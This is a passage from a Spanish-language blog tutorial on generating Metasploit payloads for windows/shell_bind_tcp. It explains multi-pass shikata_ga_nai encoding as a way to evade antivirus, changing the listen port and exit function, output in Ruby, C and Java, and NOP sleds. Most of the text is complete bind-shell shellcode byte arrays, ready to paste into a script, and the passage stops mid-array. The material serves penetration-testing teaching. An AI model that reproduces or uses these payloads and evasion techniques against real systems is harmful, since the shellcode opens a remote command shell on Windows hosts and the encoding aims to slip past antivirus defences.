Enviado por fredyavila2 el Sáb, 21/04/2018 - 21:27
Metasploit

El una publicación anterior describimos varias de las técnicas utilizadas al momento de generar nuestros propios payloads personalizados y cómo cada una de las opciones que agregaramos al comando generate nos ofrecia ventajas frente a otras. Hoy mostraremos las técnicas de generación faltantes respecto a las explicadas en la publicación mencionada.

Generación de Payloads con múltiples pases de codificación.

Las proxima opción que trataremos, en la lista que mestasploit nos ofrece es la iteración, el argumento para msfconsole es "-i". Resumidamente, esta opción le dice al framework metasploit cuantas "pasadas" de codificación debe hacer antes de generar el payload final. Una de las razones para utilizar esta opción es la generación de pyaloads sigilosos e indetectables, o bien, evasión de antivirus. La evasión de antivirus será tratada con más detalle adelante. A continuación compararemos nuestro payload usando 1 iteración contra 2 iteraciones de la misma shellcode.

msf payload(windows/shell_bind_tcp) >  generate -b '\x00'
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\xba\xa4\x1f\x21\x15\xd9\xce\xd9\x74\x24\xf4\x5b\x31\xc9" +
"\xb1\x53\x83\xeb\xfc\x31\x53\x0e\x03\xf7\x11\xc3\xe0\x0b" +
"\xc5\x81\x0b\xf3\x16\xe6\x82\x16\x27\x26\xf0\x53\x18\x96" +
"\x72\x31\x95\x5d\xd6\xa1\x2e\x13\xff\xc6\x87\x9e\xd9\xe9" +
"\x18\xb2\x1a\x68\x9b\xc9\x4e\x4a\xa2\x01\x83\x8b\xe3\x7c" +
"\x6e\xd9\xbc\x0b\xdd\xcd\xc9\x46\xde\x66\x81\x47\x66\x9b" +
"\x52\x69\x47\x0a\xe8\x30\x47\xad\x3d\x49\xce\xb5\x22\x74" +
"\x98\x4e\x90\x02\x1b\x86\xe8\xeb\xb0\xe7\xc4\x19\xc8\x20" +
"\xe2\xc1\xbf\x58\x10\x7f\xb8\x9f\x6a\x5b\x4d\x3b\xcc\x28" +
"\xf5\xe7\xec\xfd\x60\x6c\xe2\x4a\xe6\x2a\xe7\x4d\x2b\x41" +
"\x13\xc5\xca\x85\x95\x9d\xe8\x01\xfd\x46\x90\x10\x5b\x28" +
"\xad\x42\x04\x95\x0b\x09\xa9\xc2\x21\x50\xa6\x27\x08\x6a" +
"\x36\x20\x1b\x19\x04\xef\xb7\xb5\x24\x78\x1e\x42\x4a\x53" +
"\xe6\xdc\xb5\x5c\x17\xf5\x71\x08\x47\x6d\x53\x31\x0c\x6d" +
"\x5c\xe4\xb9\x65\xfb\x57\xdc\x88\xbb\x07\x60\x22\x54\x42" +
"\x6f\x1d\x44\x6d\xa5\x36\xed\x90\x46\x29\xb2\x1d\xa0\x23" +
"\x5a\x48\x7a\xdb\x98\xaf\xb3\x7c\xe2\x85\xeb\xea\xab\xcf" +
"\x2c\x15\x2c\xda\x1a\x81\xa7\x09\x9f\xb0\xb7\x07\xb7\xa5" +
"\x20\xdd\x56\x84\xd1\xe2\x72\x7e\x71\x70\x19\x7e\xfc\x69" +
"\xb6\x29\xa9\x5c\xcf\xbf\x47\xc6\x79\xdd\x95\x9e\x42\x65" +
"\x42\x63\x4c\x64\x07\xdf\x6a\x76\xd1\xe0\x36\x22\x8d\xb6" +
"\xe0\x9c\x6b\x61\x43\x76\x22\xde\x0d\x1e\xb3\x2c\x8e\x58" +
"\xbc\x78\x78\x84\x0d\xd5\x3d\xbb\xa2\xb1\xc9\xc4\xde\x21" +
"\x35\x1f\x5b\x51\x7c\x3d\xca\xfa\xd9\xd4\x4e\x67\xda\x03" +
"\x8c\x9e\x59\xa1\x6d\x65\x41\xc0\x68\x21\xc5\x39\x01\x3a" +
"\xa0\x3d\xb6\x3b\xe1"
msf payload(windows/shell_bind_tcp) > 

 

msf payload(windows/shell_bind_tcp) > generate -b '\x00' -i 2
# windows/shell_bind_tcp - 382 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\xb8\x38\xc3\x9e\xb0\xda\xda\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x59\x83\xc3\x04\x31\x43\x11\x03\x43\x11\xe2\xcd\x7c" +
"\x44\x6d\x6f\xa4\xa0\x66\xb6\xde\x76\x83\x12\x36\xbe\xda" +
"\xf1\x79\x3a\x0f\xf6\x03\xa8\xac\xe0\x2a\x6c\x60\x70\xc7" +
"\xcb\x98\xe8\x1c\xd4\x37\x75\x59\x1c\xf4\x73\x30\x54\x7b" +
"\x21\x09\xe8\xb8\x9b\x5c\xff\x80\x42\x0d\xbf\x34\xc8\xd2" +
"\x53\x3e\x1f\xf3\x43\x67\xb0\x25\xa4\x35\xe0\xcb\x86\x19" +
"\x9e\x04\x11\x51\xcc\x97\x05\x5d\xe9\xa9\xa3\x15\xf7\xb1" +
"\xbc\xdf\x56\x2d\x6e\x46\x08\x21\xe0\xa9\xe2\x54\xb4\xe3" +
"\x13\x3b\x69\xd9\xf0\x78\xa0\xa3\xfc\xf0\x0b\x7e\x4b\x46" +
"\xc8\xd7\xee\x63\x51\x82\x82\xc2\xea\xed\x02\x34\xbd\xf6" +
"\x8e\x95\xc2\x87\x09\x75\xac\x83\x5a\x25\x42\xb5\x80\xfd" +
"\x79\x99\x62\xa7\x3f\xd8\x9c\x56\x24\x7f\xd7\xb6\x6f\xe4" +
"\xb0\x06\xc3\x22\x12\xfa\x83\x66\x85\x11\xc6\xf6\x56\x0d" +
"\xc8\x0f\x14\x08\x45\xae\x0e\xfb\x1c\xdd\x23\x6a\xdd\xd5" +
"\xda\xfa\x60\xcf\xb4\x53\xb6\x76\x06\xac\x94\x9a\x94\x14" +
"\x9c\x14\x82\x54\xd8\x98\x55\x98\x33\xaf\xde\xc0\x67\x32" +
"\x58\x4b\x2c\x9b\x49\xfe\x05\x7b\xa5\x01\x56\xc2\xb1\x10" +
"\xc0\x52\x89\x21\x5e\x02\x4e\x97\xc5\xdd\xdf\x8e\xab\xc0" +
"\xaf\x39\x50\xf4\xa9\x3a\x73\x89\x22\xc0\xa2\x37\x0c\x52" +
"\x16\x13\xaf\x5e\xa7\x30\x7c\xfb\x74\x22\xa1\xa7\x34\x10" +
"\xd1\x43\x74\xe5\x09\x94\x11\x01\x2f\x45\x5d\x71\xad\xbb" +
"\x23\xd3\xba\x71\xa2\xa8\xa7\x7f\x54\xf0\x98\xbd\x02\x6d" +
"\x1f\xe6\xa5\xc0\xcc\x98\x45\xd9\x81\x62\x78\xe5\x60\x6c" +
"\x9f\x90\x83\xc4\x6d\x6f\x45\x5f\x01\xab\x06\xf5\x26\x6f" +
"\x62\x27\x1a\x01\x74\x3f\x80\xea\x0b\x5a\xb9\xd2\x45\x03" +
"\x05\x97\xc3\x96\x4e\x7b\xdc\xf1\xb7\xa8\xfe\xab\xaf\xf8" +
"\x1c\x99\xc9\x97"
msf payload(windows/shell_bind_tcp) > 

Comparando los dos resultados obviamente vemos los efectos del uso del número de iteraciones, la primera diferencia es el tamaño, entre más iteraciones el tamaño será mayor. Segundo, si comparamos las dos líneas resaltadas nos damos cuenta de que no son iguales, esto es debido a la segunda iteración, o segunda pasada de codificación. Codificó el payload una vez y luego lo volvió a codificar. Ahora veremos el resultado de iterar nuestro payload 5 veces.

msf payload(windows/shell_bind_tcp) > generate -b '\x00' -i 5
# windows/shell_bind_tcp - 463 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\xbe\x6b\xe6\x73\xb8\xda\xdf\xd9\x74\x24\xf4\x58\x33\xc9" +
"\xb1\x6e\x83\xc0\x04\x31\x70\x0e\x03\x1b\xe8\x91\x4d\x01" +
"\x22\x8c\xda\x91\x3f\x95\x44\xf5\x8b\x60\xd5\x2c\x3d\xc5" +
"\x8d\x1f\xea\x3e\x51\x08\x0c\xbc\x92\xd5\xe2\x03\x4c\xaa" +
"\x4a\xcb\x23\xf9\x57\x99\x5f\x9c\x5f\x1a\x8c\x8a\xd9\xff" +
"\xd3\x6a\x55\x59\x4d\xaa\x56\x70\xa1\x02\x4e\xf7\x0a\x05" +
"\x1d\x4c\x43\xbe\x5b\x51\x6d\x2d\x0e\x2c\xcf\x4f\xc3\xdb" +
"\xba\x62\x7a\x66\x7e\x1f\x4b\x6d\xc2\x36\x3e\xd6\x4c\x70" +
"\x38\x18\x0f\x95\xf1\x69\x3a\xe6\x70\x5b\xad\xc1\x2c\xad" +
"\xe5\xdf\xc4\x11\xba\x93\x2f\xb9\xf9\x76\x95\x5f\x17\xc7" +
"\xc7\x23\x17\xba\x86\xae\x44\x95\xb7\xa0\x33\xa4\x69\xef" +
"\x47\x6d\x10\x75\xdd\xaf\xa5\x16\x50\x09\x9a\xde\xd2\xe7" +
"\x6f\x22\x82\x88\xf5\xc8\x07\x5b\x6f\xde\x23\x5f\x1e\x71" +
"\x74\x67\x0f\xe7\xb7\x75\xd7\xe2\x33\xf7\xd5\x03\xc7\x96" +
"\x7c\x76\x75\x39\xd2\x53\x5a\x37\x4b\x14\xd9\xec\xbb\xe7" +
"\x81\xab\x39\x46\xfb\xf1\x2d\x9a\x9b\xca\x74\x9d\x41\xab" +
"\xbb\xef\x83\x5f\x56\x53\x5c\x03\xa0\x62\xb4\x56\x0f\x32" +
"\xb1\x7e\x6c\x93\xff\x2e\x6a\x7a\x6d\x43\x9d\x36\x8e\x5a" +
"\x05\xf4\x66\x50\x25\x8d\x8a\x6f\xe8\xcf\x19\x7c\xae\x03" +
"\x57\x8e\x61\xe7\xdf\x71\x6b\x11\x9c\x9c\xe5\xaf\x69\x8c" +
"\x8d\xbe\xd1\x32\xb3\x9c\x44\x0c\x0c\xbc\x4f\xb9\x89\x51" +
"\xb7\x5c\x6e\x89\xa2\x24\xb0\xee\xa6\x68\xa1\x02\xdd\x67" +
"\xe5\xef\x31\x0d\x86\x15\xca\x03\xa9\x9c\xfa\x3a\xe1\xd9" +
"\xff\x0c\x5f\x5c\x67\xd7\xc8\x76\xd0\x45\xd5\x0e\x31\x08" +
"\x17\xce\xde\x19\xce\x49\xed\x56\x32\xaf\xd2\xbd\xbb\xd7" +
"\xdf\x2e\x4b\x1e\xd0\x42\xcf\x92\x64\x9c\x6e\x5a\x0d\x3a" +
"\x18\x8f\xd0\x95\x66\x9f\x8a\x89\x85\x6c\x09\xd4\x42\x41" +
"\x08\xd4\xb7\x67\xc3\x05\x96\x57\xde\xd1\x25\x1d\x0e\x59" +
"\x8a\x2c\xc3\x65\x6f\xd7\xbf\x44\xfa\xc6\xfe\x26\xae\x52" +
"\x36\x4c\xe6\x11\x7e\xd2\xa6\xd4\x74\xe1\x33\x65\xc3\x7f" +
"\x26\x61\x37\x42\xd9\x6e\x56\x27\xf9\xb3\x48\x8d\x03\x08" +
"\x51\xf3\x8a\x8a\x93\x71\xdc\xad\xc7\x23\xaa\x0e\x93\xe7" +
"\x6e\xcb\xf5\x30\xd1\xfb\x6c\x37\xc4\xea\x1b\xad\x0d\xe0" +
"\xb3"
msf payload(windows/shell_bind_tcp) > 

El cambio es significante con los resultados anteriores, el tamaño esta vez aumentó mucho más y los bytes generados son totalmente diferentes. Esto hace nuestro payload menos propenso a ser detectado. Hemos dedicado mucho tiempo a generar Shellcode desde el principio con valores predeterminados. En el caso de un shell bind, el puerto de escucha predeterminado es 4444. A menudo, esto debe cambiarse. Podemos lograr esto usando el argumento "-o" seguido del valor que deseamos cambiar. Echemos un vistazo a las opciones que podemos cambiar para este payload. Desde msfconsole, emitiremos el comando 'show options'.

msf payload(windows/shell_bind_tcp) > show options

Module options (payload/windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address

msf payload(windows/shell_bind_tcp) >

Por defecto, nuestro shell escuchará en el puerto "4444" y la función de salida es "process". Cambiaremos esto al puerto "1234" y "seh" a la función de salida usando el argumento "-o". La sintaxis es VARIABLE=VALOR separada por una coma entre cada opción. En este caso, tanto el puerto de escucha como la función de salida se cambian, por lo que se utiliza la siguiente sintaxis: LPORT=1234, EXITFUNC=seh.

msf payload(windows/shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai 
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, PrependMigrate=false, 
# EXITFUNC=seh
buf = 
"\xdb\xd7\xba\x9d\x97\x9d\x7a\xd9\x74\x24\xf4\x5e\x29\xc9" +
"\xb1\x53\x31\x56\x17\x03\x56\x17\x83\x5b\x93\x7f\x8f\x9f" +
"\x74\xfd\x70\x5f\x85\x62\xf8\xba\xb4\xa2\x9e\xcf\xe7\x12" +
"\xd4\x9d\x0b\xd8\xb8\x35\x9f\xac\x14\x3a\x28\x1a\x43\x75" +
"\xa9\x37\xb7\x14\x29\x4a\xe4\xf6\x10\x85\xf9\xf7\x55\xf8" +
"\xf0\xa5\x0e\x76\xa6\x59\x3a\xc2\x7b\xd2\x70\xc2\xfb\x07" +
"\xc0\xe5\x2a\x96\x5a\xbc\xec\x19\x8e\xb4\xa4\x01\xd3\xf1" +
"\x7f\xba\x27\x8d\x81\x6a\x76\x6e\x2d\x53\xb6\x9d\x2f\x94" +
"\x71\x7e\x5a\xec\x81\x03\x5d\x2b\xfb\xdf\xe8\xaf\x5b\xab" +
"\x4b\x0b\x5d\x78\x0d\xd8\x51\x35\x59\x86\x75\xc8\x8e\xbd" +
"\x82\x41\x31\x11\x03\x11\x16\xb5\x4f\xc1\x37\xec\x35\xa4" +
"\x48\xee\x95\x19\xed\x65\x3b\x4d\x9c\x24\x54\xa2\xad\xd6" +
"\xa4\xac\xa6\xa5\x96\x73\x1d\x21\x9b\xfc\xbb\xb6\xdc\xd6" +
"\x7c\x28\x23\xd9\x7c\x61\xe0\x8d\x2c\x19\xc1\xad\xa6\xd9" +
"\xee\x7b\x52\xd1\x49\xd4\x41\x1c\x29\x84\xc5\x8e\xc2\xce" +
"\xc9\xf1\xf3\xf0\x03\x9a\x9c\x0c\xac\xa0\x8e\x98\x4a\xc2" +
"\x3e\xcd\xc5\x7a\xfd\x2a\xde\x1d\xfe\x18\x76\x89\xb7\x4a" +
"\x41\xb6\x47\x59\xe5\x20\xcc\x8e\x31\x51\xd3\x9a\x11\x06" +
"\x44\x50\xf0\x65\xf4\x65\xd9\x1d\x95\xf4\x86\xdd\xd0\xe4" +
"\x10\x8a\xb5\xdb\x68\x5e\x28\x45\xc3\x7c\xb1\x13\x2c\xc4" +
"\x6e\xe0\xb3\xc5\xe3\x5c\x90\xd5\x3d\x5c\x9c\x81\x91\x0b" +
"\x4a\x7f\x54\xe2\x3c\x29\x0e\x59\x97\xbd\xd7\x91\x28\xbb" +
"\xd7\xff\xde\x23\x69\x56\xa7\x5c\x46\x3e\x2f\x25\xba\xde" +
"\xd0\xfc\x7e\xe0\x21\xcc\x6a\x75\x98\xa5\xd6\x1b\x1b\x10" +
"\x14\x22\x98\x90\xe5\xd1\x80\xd1\xe0\x9e\x06\x0a\x99\x8f" +
"\xe2\x2c\x0e\xaf\x26"
msf payload(windows/shell_bind_tcp) >

Generación de Payload usando un NOP Sled.

Para entender de que va esto, daremos una breve definición de NOP Sled. En seguridad informática un NOP Sled son una serie de instrucciones que no realizan operaciones o que realizan una operación siguiente (NOP=No-operation o Next-operation) y están destinados a "deslizar" las instrucciones de ejecución en la CPU a un destino final, el destino final puede ser un programa o un área de memoria . Al generar Payloads, el formato de salida predeterminado es "ruby". Aunque el lenguaje Ruby es extremadamente poderoso y popular, no todo el mundo lo codifica. Tenemos la capacidad de decirle al framework que proporcione nuestro Payload en diferentes formatos de codificación, como Perl, C y Java, por ejemplo. También es posible agregar un NOP Sled al principio al generar nuestro shellcode.

Primero veamos algunos formatos de salida diferentes y veamos cómo se usa el argumento "-t". Al igual que todas las otras opciones, todo lo que se necesita hacer es escribir el argumento seguido del nombre del formato como se muestra en el menú de ayuda. 

msf payload(windows/shell_bind_tcp) > generate
# windows/shell_bind_tcp - 328 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
"\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68" +
"\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6" +
"\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" +
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57" +
"\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" +
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" +
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" +
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" +
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" +
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" +
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" +
"\x6f\x6a\x00\x53\xff\xd5"
msf payload(windows/shell_bind_tcp) >
msf payload(windows/shell_bind_tcp) > generate -t c
/*
 * windows/shell_bind_tcp - 328 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
 * EXITFUNC=process
 */
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
msf payload(windows/shell_bind_tcp) >
msf payload(windows/shell_bind_tcp) > generate -t java
/*
 * windows/shell_bind_tcp - 328 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
 * EXITFUNC=process
 */
byte buf[] = new byte[]
{
	(byte) 0xfc, (byte) 0xe8, (byte) 0x82, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
	(byte) 0xe5, (byte) 0x31, (byte) 0xc0, (byte) 0x64, (byte) 0x8b, (byte) 0x50, (byte) 0x30, (byte) 0x8b,
	(byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
	(byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0xac, (byte) 0x3c,
	(byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1, (byte) 0xcf, (byte) 0x0d,
	(byte) 0x01, (byte) 0xc7, (byte) 0xe2, (byte) 0xf2, (byte) 0x52, (byte) 0x57, (byte) 0x8b, (byte) 0x52,
	(byte) 0x10, (byte) 0x8b, (byte) 0x4a, (byte) 0x3c, (byte) 0x8b, (byte) 0x4c, (byte) 0x11, (byte) 0x78,
	(byte) 0xe3, (byte) 0x48, (byte) 0x01, (byte) 0xd1, (byte) 0x51, (byte) 0x8b, (byte) 0x59, (byte) 0x20,
	(byte) 0x01, (byte) 0xd3, (byte) 0x8b, (byte) 0x49, (byte) 0x18, (byte) 0xe3, (byte) 0x3a, (byte) 0x49,
	(byte) 0x8b, (byte) 0x34, (byte) 0x8b, (byte) 0x01, (byte) 0xd6, (byte) 0x31, (byte) 0xff, (byte) 0xac,
	(byte) 0xc1, (byte) 0xcf, (byte) 0x0d, (byte) 0x01, (byte) 0xc7, (byte) 0x38, (byte) 0xe0, (byte) 0x75,
	(byte) 0xf6, (byte) 0x03, (byte) 0x7d, (byte) 0xf8, (byte) 0x3b, (byte) 0x7d, (byte) 0x24, (byte) 0x75,
	(byte) 0xe4, (byte) 0x58, (byte) 0x8b, (byte) 0x58, (byte) 0x24, (byte) 0x01, (byte) 0xd3, (byte) 0x66,
	(byte) 0x8b, (byte) 0x0c, (byte) 0x4b, (byte) 0x8b, (byte) 0x58, (byte) 0x1c, (byte) 0x01, (byte) 0xd3,
	(byte) 0x8b, (byte) 0x04, (byte) 0x8b, (byte) 0x01, (byte) 0xd0, (byte) 0x89, (byte) 0x44, (byte) 0x24,
	(byte) 0x24, (byte) 0x5b, (byte) 0x5b, (byte) 0x61, (byte) 0x59, (byte) 0x5a, (byte) 0x51, (byte) 0xff,
	(byte) 0xe0, (byte) 0x5f, (byte) 0x5f, (byte) 0x5a, (byte) 0x8b, (byte) 0x12, (byte) 0xeb, (byte) 0x8d,
	(byte) 0x5d, (byte) 0x68, (byte) 0x33, (byte) 0x32, (byte) 0x00, (byte) 0x00, (byte) 0x68, (byte) 0x77,
	(byte) 0x73, (byte) 0x32, (byte) 0x5f, (byte) 0x54, (byte) 0x68, (byte) 0x4c, (byte) 0x77, (byte) 0x26,
	(byte) 0x07, (byte) 0xff, (byte) 0xd5, (byte) 0xb8, (byte) 0x90, (byte) 0x01, (byte) 0x00, (byte) 0x00,
	(byte) 0x29, (byte) 0xc4, (byte) 0x54, (byte) 0x50, (byte) 0x68, (byte) 0x29, (byte) 0x80, (byte) 0x6b,
	(byte) 0x00, (byte) 0xff, (byte) 0xd5, (byte) 0x6a, (byte) 0x08, (byte) 0x59, (byte) 0x50, (byte) 0xe2,
	(byte) 0xfd, (byte) 0x40, (byte) 0x50, (byte) 0x40, (byte) 0x50, (byte) 0x68, (byte) 0xea, (byte) 0x0f,
	(byte) 0xdf, (byte) 0xe0, (byte) 0xff, (byte) 0xd5, (byte) 0x97, (byte) 0x68, (byte) 0x02, (byte) 0x00,
	(byte) 0x11, (byte) 0x5c, (byte) 0x89, (byte) 0xe6, (byte) 0x6a, (byte) 0x10, (byte) 0x56, (byte) 0x57,
	(byte) 0x68, (byte) 0xc2, (byte) 0xdb, (byte) 0x37, (byte) 0x67, (byte) 0xff, (byte) 0xd5, (byte) 0x57,
	(byte) 0x68, (byte) 0xb7, (byte) 0xe9, (byte) 0x38, (byte) 0xff, (byte) 0xff, (byte) 0xd5, (byte) 0x57,
	(byte) 0x68, (byte) 0x74, (byte) 0xec, (byte) 0x3b, (byte) 0xe1, (byte) 0xff, (byte) 0xd5, (byte) 0x57,
	(byte) 0x97, (byte) 0x68, (byte) 0x75, (byte) 0x6e, (byte) 0x4d, (byte) 0x61, (byte) 0xff, (byte) 0xd5,
	(byte) 0x68, (byte) 0x63, (byte) 0x6d, (byte) 0x64, (byte) 0x00, (byte) 0x89, (byte) 0xe3, (byte) 0x57,
	(byte) 0x57, (byte) 0x57, (byte) 0x31, (byte) 0xf6, (byte) 0x6a, (byte) 0x12, (byte) 0x59, (byte) 0x56,
	(byte) 0xe2, (byte) 0xfd, (byte) 0x66, (byte) 0xc7, (byte) 0x44, (byte) 0x24, (byte) 0x3c, (byte) 0x01,
	(byte) 0x01, (byte) 0x8d, (byte) 0x44, (byte) 0x24, (byte) 0x10, (byte) 0xc6, (byte) 0x00, (byte) 0x44,
	(byte) 0x54, (byte) 0x50, (byte) 0x56, (byte) 0x56, (byte) 0x56, (byte) 0x46, (byte) 0x56, (byte) 0x4e,
	(byte) 0x56, (byte) 0x56, (byte) 0x53, (byte) 0x56, (byte) 0x68, (byte) 0x79, (byte) 0xcc, (byte) 0x3f,
	(byte) 0x86, (byte) 0xff, (byte) 0xd5, (byte) 0x89, (byte) 0xe0, (byte) 0x4e, (byte) 0x56, (byte) 0x46,
	(byte) 0xff, (byte) 0x30, (byte) 0x68, (byte) 0x08, (byte) 0x87, (byte) 0x1d, (byte) 0x60, (byte) 0xff,
	(byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x68, (byte) 0xa6,
	(byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
	(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
	(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x53, (byte) 0xff, (byte) 0xd5
};
msf payload(windows/shell_bind_tcp) >

Mirando el resultado para los diferentes lenguajes de programación, vemos que cada salida se adhiere a su respectiva sintaxis de lenguaje. Un hash '#' se usa para comentarios en Ruby, pero en C se reemplaza por la sintaxis de barras y asteriscos '/*'. En cuanto a las tres salidas, las matrices se declaran correctamente para el formato del lenguaje seleccionado. Haciéndolo listo para ser copiado y pegado en su script. La adición de un NOP Sled se logra con el argumento "-s" seguido de la cantidad de NOP's. Esto agregará el Sled al comienzo de nuestro Payload. Tenga en cuenta que cuanto más grande sea el Sled, mayor será el shellcode. Entonces agregar 10 NOPs agregará 10 bytes al tamaño total.

msf payload(windows/shell_bind_tcp) > generate
# windows/shell_bind_tcp - 328 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
